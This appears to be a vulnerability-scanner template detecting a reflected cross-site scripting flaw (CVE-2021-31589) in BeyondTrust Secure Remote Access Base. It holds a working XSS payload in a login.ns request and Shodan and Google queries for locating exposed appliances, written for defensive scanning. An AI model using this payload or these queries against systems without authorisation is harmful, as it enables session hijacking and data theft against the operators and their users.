52 lines
2.2 KiB
YAML
52 lines
2.2 KiB
YAML
id: CVE-2021-31589
|
|
|
|
info:
|
|
name: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
|
|
author: Ahmed Abou-Ela
|
|
severity: medium
|
|
description: BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.
|
|
remediation: |
|
|
Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/165408
|
|
- https://cxsecurity.com/issue/WLB-2022010013
|
|
- https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
|
|
- https://www.beyondtrust.com/docs/release-notes/index.htm
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31589
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-31589
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00286
|
|
epss-percentile: 0.65438
|
|
cpe: cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: beyondtrust
|
|
product: appliance_base_software
|
|
shodan-query: 'set-cookie: nsbase_session'
|
|
google-query: '"BeyondTrust" "Redistribution Prohibited"'
|
|
tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<svg/onload=alert(document.domain)>'
|
|
- 'bomgar'
|
|
case-insensitive: true
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502206ce56f530f9aefd550a4077f9636cfbe7ff81c7649e6abb270853aa7fe344725022100e00868aa54e4e096339977810c4ec291422dacd0cc14daaee71c22b2e824ecd4:922c64590222798bb761d5b6d8e72950 |